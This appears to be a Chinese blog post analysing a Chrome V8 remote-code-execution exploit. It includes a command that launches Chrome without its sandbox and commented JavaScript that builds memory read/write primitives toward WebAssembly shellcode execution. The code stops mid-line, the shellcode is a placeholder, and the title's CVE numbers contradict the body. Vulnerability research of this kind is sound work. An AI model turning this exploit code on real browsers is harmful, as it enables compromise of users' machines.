Google Chrome RCE漏洞 CVE-2024-6507 和 CVE-2024-0517 流程分析

二、CVE-2020-6507 复现环境:

Win10 + Google Chrome 86.0.4240.75


三、CVE-2020-6507 利用复现:

关闭沙箱安全使用命令进行关闭 ,在正常情况下,浏览器沙箱提供了一个受限制的执行环境,以防止恶意代码对用户系统的损害。关闭沙箱可能会导致浏览器执行环境的变化,使其更容易受到攻击。这在某些情况下可能有助于进行特定类型的漏洞研究和安全测试。

“C:\Program Files\Google\Chrome\Application\chrome.exe” -no-sandbox
在这里插入图片描述

四、EXP核心分析:

// 漏洞利用的HTML代码
<script>
 // 触发垃圾回收以促使后续的内存布局
 function gc() {
 for (var i = 0; i < 0x80000; ++i) {
 var a = new ArrayBuffer();
 }
 }

 // Shellcode,实际上是一个汇编代码的字节序列
 let shellcode = [...]; // 替换为实际的 shellcode

 // WebAssembly 模块的字节码数据
 var wasmCode = new Uint8Array([ /\* WebAssembly 模块的字节码数据 \*/ ]);
 
 // 创建 WebAssembly 模块和实例
 var wasmModule = new WebAssembly.Module(wasmCode);
 var wasmInstance = new WebAssembly.Instance(wasmModule);
 var main = wasmInstance.exports.main;

 // ArrayBuffer 和 DataView 用于进行内存操作
 var bf = new ArrayBuffer(8);
 var bfView = new DataView(bf);
 
 // 获取浮点数的低32位
 function fLow(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(0, true));
 }

 // 获取浮点数的高32位
 function fHi(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(4, true))
 }

 // 合成一个双精度浮点数
 function i2f(low, hi) {
 bfView.setUint32(0, low, true);
 bfView.setUint32(4, hi, true);
 return bfView.getFloat64(0, true);
 }

 // 将浮点数转换为大端序的64位无符号整数
 function f2big(f) {
 bfView.setFloat64(0, f, true);
 return bfView.getBigUint64(0, true);
 }

 // 将大端序的64位无符号整数转换为浮点数
 function big2f(b) {
 bfView.setBigUint64(0, b, true);
 return bfView.getFloat64(0, true);
 }

 // 定义一个 ArrayBuffer 的子类,用于进行内存操作
 class LeakArrayBuffer extends ArrayBuffer {
 constructor(size) {
 super(size);
 this.slot = 0xb33f;
 }
 }

 // 在调用 foo 之前进行多次操作,包括触发垃圾回收
 function foo(a) {
 let x = -1;
 if (a) x = 0xFFFFFFFF;

 var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
 arr.shift();
 let local\_arr = Array(2);
 local\_arr[0] = 5.1;
 let buff = new LeakArrayBuffer(0x1000);
 arr[0] = 0x1122;
 
 return [arr, local\_arr, buff];
 }

 for (var i = 0; i < 0x10000; ++i)
 foo(false);

 gc(); gc();

 // 调用 foo,获取相关数组和内存对象
 [corrput\_arr, rwarr, corrupt\_buff] = foo(true);

 // 利用漏洞进行内存操作
 corrput\_arr[12] = 0x22444;
 delete corrput\_arr;

 // 对内存进行操作,获取相关信息
 function setbackingStore(hi, low) {
 rwarr[4] = i2f(fLow(rwarr[4]), hi);
 rwarr[5] = i2f(low, fHi(rwarr[5]));
 }

 function leakObjLow(o) {
 corrupt\_buff.slot = o;
 return (fLow(rwarr[9]) - 1);
 }

 let corrupt\_view = new DataView(corrupt\_buff);
 let corrupt\_bu
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值